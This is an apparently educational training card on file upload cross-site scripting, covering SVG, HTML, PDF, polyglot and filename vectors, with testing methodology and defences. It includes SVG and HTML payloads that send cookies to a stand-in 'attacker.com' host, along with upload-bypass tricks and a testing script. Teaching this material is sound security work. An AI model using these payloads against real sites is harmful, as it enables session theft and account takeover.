File upload XSS
Theory
Why This Matters
File upload XSS vectors are frequently underestimated because developers focus upload validation on preventing server-side code execution (PHP shells, JSP webshells) rather than client-side script execution. SVG files — valid XML containing embedded <script> tags — execute as JavaScript when served with image/svg+xml. This creates an XSS vector that appears to application logic as an image upload. Similar patterns exist for HTML, XML, and PDF uploads. Real-world bug bounty reports for this class appear regularly against platforms allowing user avatar or document uploads, and several have resulted in high-severity payouts due to the stored XSS characteristics. CVE-2023-27932 demonstrated SVG-based stored XSS in a major collaborative platform used by millions of organisations.
Core Concept
File upload XSS exploits the fact that certain file types, when served by a web server with the correct Content-Type response header, are parsed and executed by the browser as active content rather than downloaded as static data.
SVG files are XML documents. The SVG specification allows embedded <script> elements and event handlers (onload, onclick). When a browser receives an SVG file with Content-Type: image/svg+xml, it renders the SVG as an image — but also executes any embedded JavaScript. When an application accepts SVG uploads and serves them from the same origin as the application, a malicious SVG executes JavaScript in the victim's browser under the application's origin.
The Content-Type response header is the determinative control — not the uploaded file's extension, MIME type in the request, or file content alone. A server that serves uploaded files with application/octet-stream forces a download, preventing execution regardless of file content. A server that detects SVG content and responds with image/svg+xml enables execution.
Polyglot files combine two valid file formats in a single binary. A JPEG+HTML polyglot is recognised as a valid JPEG by image parsers (passes content-type detection) but also contains executable HTML. If the server serves it with text/html, it executes; if served as image/jpeg, it renders as an image. Polyglots are used to bypass content-type detection libraries that check file signatures rather than the full file structure.
Stored XSS via filename: the filename of an upload (used in Content-Disposition headers, displayed in admin dashboards, or shown in file listing UI) may be reflected without encoding, creating a stored XSS opportunity independent of the file content.
XSS via PDF inline viewer: browsers render PDFs inline via a built-in or JavaScript-based viewer. PDFs support JavaScript actions (/OpenAction << /S /JavaScript /JS (app.alert(1)) >>) that execute when the PDF is opened. This creates XSS when a user-uploaded PDF is served inline from the application origin.
The same-origin requirement is critical: file-upload XSS has impact only when the uploaded file is served from the same origin as the target application (or a subdomain that shares session cookies). Files served from a dedicated CDN origin (assets.example-cdn.com) that does not share cookies with app.example.com have no XSS impact on the application.
Technical Deep-Dive
<!-- Minimal XSS SVG payload — save as payload.svg -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
</svg>
<!-- SVG with embedded script element: -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
alert(document.domain);
new Image().src = "https://attacker.com/?c=" + btoa(document.cookie);
</script>
</svg>
<!-- Compact one-liner for character-limited upload fields: -->
<svg onload=alert(1)>
<!-- HTML file upload XSS — save as shell.html -->
<!DOCTYPE html>
<html><body>
<script>
fetch("https://attacker.com/?c=" + btoa(document.cookie));
</script>
</body></html>
<!-- If served as text/html from same origin: full stored XSS -->
# Testing Content-Type enforcement on the served file
import requests
SVG_PAYLOAD = b'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>'
# Step 1: Upload SVG with correct declared type
r = requests.post(
"https://target.example.com/api/upload",
files={"file": ("avatar.svg", SVG_PAYLOAD, "image/svg+xml")},
headers={"Authorization": "Bearer <token>"}
)
uploaded_url = r.json().get("url", "")
print(f"Uploaded to: {uploaded_url}")
# Step 2: Fetch served file and inspect Content-Type
r2 = requests.get(uploaded_url)
ct = r2.headers.get("Content-Type", "")
print(f"Served Content-Type: {ct}")
# image/svg+xml → XSS executes when opened in browser
# application/octet-stream → forces download, not exploitable
# text/plain → not executed as HTML/SVG
# Step 3: Content-Type spoofing bypass — declare JPEG but send SVG
r3 = requests.post(
"https://target.example.com/api/upload",
files={"file": ("avatar.jpg", SVG_PAYLOAD, "image/jpeg")},
headers={"Authorization": "Bearer <token>"}
)
# Check whether server trusts declared MIME or inspects actual content
uploaded_url3 = r3.json().get("url", "")
r4 = requests.get(uploaded_url3)
print(f"Spoofed upload served as: {r4.headers.get('Content-Type')}")
# Filename XSS test — upload file with malicious filename
# Filename: "><img src=x onerror=alert(1)>.png
# Check whether filename appears unencoded in admin dashboard or file listing
curl -X POST https://target.example.com/api/upload
-H "Authorization: Bearer <token>"
-F '[email protected];filename="><img src=x onerror=alert(1)>.svg'
Security Assessment Methodology
- Identify file upload endpoints — Locate all upload features: avatar/profile photo uploads, document attachments, asset uploads, import functionality, and report generation inputs.
- Test SVG upload acceptance — Attempt to upload a minimal XSS SVG payload. Observe whether the upload is accepted (extension/content-type validation) and record the URL of the uploaded file.
- Fetch the uploaded file and inspect the served Content-Type — Navigate to the uploaded file URL. Check the
Content-Typeresponse header. Ifimage/svg+xmlortext/html, open in a real browser to confirm script execution. - Test Content-Type bypass — If
.svgis blocked by extension, rename to.svg.png,.svg%00.png, or upload withContent-Type: image/jpegwhile the file content remains SVG. Check whether the server uses the declared type or detects the actual type. - Test HTML uploads — Upload a
.htmlfile containing a script. Check the served Content-Type and browser execution. - Test filename XSS — Upload files with names containing
<img src=x onerror=alert(1)>. Check admin interfaces, file listings, and email notifications for unencoded reflection. - Check origin of served files — If uploads are served from a different origin (CDN subdomain), assess whether that subdomain shares cookies or session context with the main application.
Defensive Countermeasure — Never serve user-uploaded files from the same origin as the application. Use a dedicated storage origin (e.g.,
uploads.example-assets.com) with no session cookies that relate to the application. When serving uploaded files, always set theContent-Typeresponse header to an explicit safe value:application/octet-streamforces download;image/pngfor PNG images only. Use a server-side file type detection library (libmagic, Apache Tika) to verify actual file content type independent of the client-declared MIME type. Strip SVG files of<script>tags and event handlers using a sanitisation library (svg-sanitizer, DOMPurify with SVG config) before storage or serving.
Common Assessment Errors
- Stopping after upload acceptance — Confirming that an SVG file is accepted is only half the test. XSS fires only when the file is served with an exploitable Content-Type from a same-origin URL. Always fetch the served file and check the Content-Type.
- Not testing in a real browser — Checking the Content-Type header is necessary but not sufficient; open the URL in Chrome and Firefox to confirm the browser executes the script, as browser security updates may affect SVG handling.
- Missing CDN origin separation — Assuming that serving files from a CDN eliminates the risk without verifying that the CDN subdomain does not share cookies with the main application.
- Overlooking filename injection — The filename vector is independent of the file content vector. Both must be tested. Filename injection in admin dashboards is a common blind stored XSS source.
- Not testing with Content-Type mismatch — Uploading an SVG with
Content-Type: image/jpegin the request tests whether the server trusts the client-declared type for serving. Many servers do, creating a bypass. - Missing PDF and XML vectors — PDF inline viewer XSS and XML-based script injection are in the same family as SVG XSS but are frequently omitted from assessments.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Develops understanding of SVG/HTML file upload XSS, Content-Type serving behaviour, and same-origin requirement |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Covers polyglot files, filename injection, PDF inline viewer attack surface, and CDN origin separation |
| S0001 | Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems | Trains Content-Type inspection methodology and multi-format upload testing with curl and Python |
| S0044 | Skill in mimicking threat behaviors | Builds adversarial skill in SVG payload crafting and Content-Type bypass techniques |
| T0028 | Task: Identify systemic security issues based on vulnerability and configuration data | Covers file serving origin separation, Content-Type header enforcement, SVG sanitisation, and upload validation control assessment |
Further Reading
- SVG-Based XSS — PortSwigger Web Security Academy (File Upload Vulnerabilities module)
- Abusing SVG Images for Fun and Profit — Mathias Karlsson, security research blog
- OWASP File Upload Cheat Sheet — OWASP Foundation
- Polyglot Files: A Hacker's Best Friend — Ange Albertini, corkami (GitHub research)
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.